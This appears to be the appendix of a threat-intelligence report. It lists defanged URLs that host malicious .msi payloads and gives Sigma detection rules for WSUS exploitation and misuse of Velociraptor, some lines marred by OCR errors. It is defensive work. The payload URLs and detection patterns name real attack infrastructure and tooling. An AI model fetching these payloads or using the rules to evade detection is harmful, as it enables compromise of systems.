https[:])//stoaccinfoniqaveeambkp.blob.core.windows[.]Jnet/veeam/v.msi
http[:]/files.qaubctgg.workers[.]Jdev/v2.msi
https[:])//stoaccinfonigaveeambkp.blob.core.windows[.Jnet/veeam/v2.msi
Velociraptor Hosing Server https[:]//royal-boat-bf05.qgtxtebl.workers[.]Jdev/v3.msi
https[:]/s3.wasabisys[.Jcom/kiessler/v4.msi
https[:])//upload.jbowpxyy.workers[.]Jdev/v4.msi
https[:])//vdfccjpnedujhrzscitq.supabase[.Jco/storage/v1/object/public/image/v4.msi
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Appendix 2. Detection Rule @ NTT Securi’ry

title: Possible WSUS Exploit
author: NTT Security (Japan) KK
logsource:

product: windows

category: process_creation
detection:

selection_service:
Parentimage|endswith: ‘\wsusservice.exe’
selection_msc:
Parentlmage|endswith: ‘\wsus.msc’
condition: selection_service or selection_msc
falsepositives: Unknown
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Appendix 2. Detection Rule @ NTT Securify

itle: Suspicious Velociraptor Execution or Misuse
id: 12345678-ABCD-1234-ABCD-1234567898AB
description: |
Detect execution of Velociraptor binary with suspicious arguments or as unsigned binary,
potentially indicating misuse or attacker-controlled instance.
status: experimental
author: Rapid7 Labs
references:
- https://docs.velociraptor.app/knowledge_base/tips/velocirator_misuse/
tags:
- attack.execution
- attack.persistence
- tool.abuse
logsource:
product: windows
category: process_creation
detection:
selection_velociraptor:
Image|endswith: '\Velociraptor.exe'
selection_suspicious_args:
CommandLine|contains:
- "--config"
- "client.config.yaml"
- "service run"
selection_unsigned:
Signature|endswith:
- "Unsigned"
condition: selection_velociraptor and (selection_suspicious_args or selection_unsigned)
falsepositives:
- Legitimate Velociraptor use by admins / security teams (especially if unsigned binary is used legitimately)
- Test or dev environments
level: high

https://docs.velociraptor.app/knowledge_basel/tips/velocirator_misuse/
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